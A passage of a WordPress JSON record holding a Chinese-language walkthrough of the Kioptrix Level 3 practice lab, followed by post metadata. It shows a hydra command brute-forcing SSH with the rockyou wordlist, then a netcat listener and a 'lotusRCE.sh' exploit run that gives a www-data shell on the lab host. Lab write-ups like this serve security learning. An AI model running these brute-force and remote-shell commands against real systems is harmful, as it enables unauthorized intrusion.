\u4f7f\u7528hydra<\/code>\u7206\u7834ssh\u7684\u5bc6\u7801\uff1a<\/p>\n
hydra -l loneferret -P \/usr\/share\/wordlists\/rockyou.txt 192.168.244.140 -t 4 ssh\n<\/code><\/pre>\n
\u8fd9\u91cc\u5982\u679c\u62a5\u9519\u5c31\u8fd9\u4e48\u64cd\u4f5c\uff1a<\/p>\n
\"image-20240127151607834\"<\/div><\/p>\n
\u8fd9\u662fjohn\u81ea\u5e26\u5b57\u5178\uff0c\u9700\u8981\u8fdb\u884c\u89e3\u538b\u4e00\u4e0b\u3002<\/p>\n
\u4f46\u662f\u8fd0\u884c\u7684\u65f6\u5019\u8fd8\u662f\u53d1\u751f\u4e86\u62a5\u9519\uff0c\u610f\u601d\u662f\uff0c\u6211\u4eec\u5ba2\u6237\u7aef\u7f3a\u5c11\u76f8\u5173\u7684\u52a0\u5bc6\u7b97\u6cd5\uff1a<\/p>\n
\"image-20240127152059181\"<\/div><\/p>\n
\u4ee5\u540e\u6709\u673a\u4f1a\u518d\u8fdb\u884c\u5c1d\u8bd5\u5427\uff0c\u6211\u5728\u591a\u4e2a\u5730\u65b9\u67e5\u770b\u5230\u8fd9\u4e2a\u95ee\u9898\u7684\u89e3\u51b3\u65b9\u5f0f\uff0c\u5747\u672a\u89e3\u51b3\u3002<\/p>\n
github\u641c\u7d22\u76f8\u5173\u6f0f\u6d1e<\/h3>\n
https:\/\/infosecwriteups.com\/vulnhub-kioptrix-level-3-1-2-3-a7ff58cbfb8f<\/a><\/p>\n
\"image-20240127155753171\"<\/div><\/p>\n
\u8fd9\u4e2a\u611f\u89c9\u5728 searchsploit \u91cc\u89c1\u8fc7\uff0c\u67e5\u4e86\u4e00\u4e0b\uff0c\u53c8\u4e0d\u592a\u4e00\u6837\u3002\u3002\u3002<\/p>\n
# \u672c\u5730\u8bbe\u7f6e\u76d1\u542c\nnc -lvvp 1234\n# \u5229\u7528\u811a\u672c\n.\/lotusRCE.sh 192.168.244.140<\/code><\/pre>\n
\"image-20240127163427351\"<\/div><\/p>\n
\u83b7\u5f97\u4e00\u4e2a www-data \u7684\u8d26\u53f7\uff0c\u7ee7\u7eed\u5c1d\u8bd5\u63d0\u6743\u5373\u53ef\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
KIOPTRIX: LEVEL 3 \u6311\u6218\u4e00\u4e0b\u8fd9\u4e2a\u9776\u573a\uff1a \u626b\u63cf\u4e00\u4e0b\uff1a \u6253\u5f00\u770b\u4e00\u4e0b\uff1a \u5230\u5904\u70b9\u70b9\uff0c\u67e5\u770b\u4e00\u4e0b\u6d4f\u89c8\u5668\u63d2\u4ef6 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-319","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/319","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=319"}],"version-history":[{"count":4,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/319\/revisions"}],"predecessor-version":[{"id":323,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/319\/revisions\/323"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=319"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}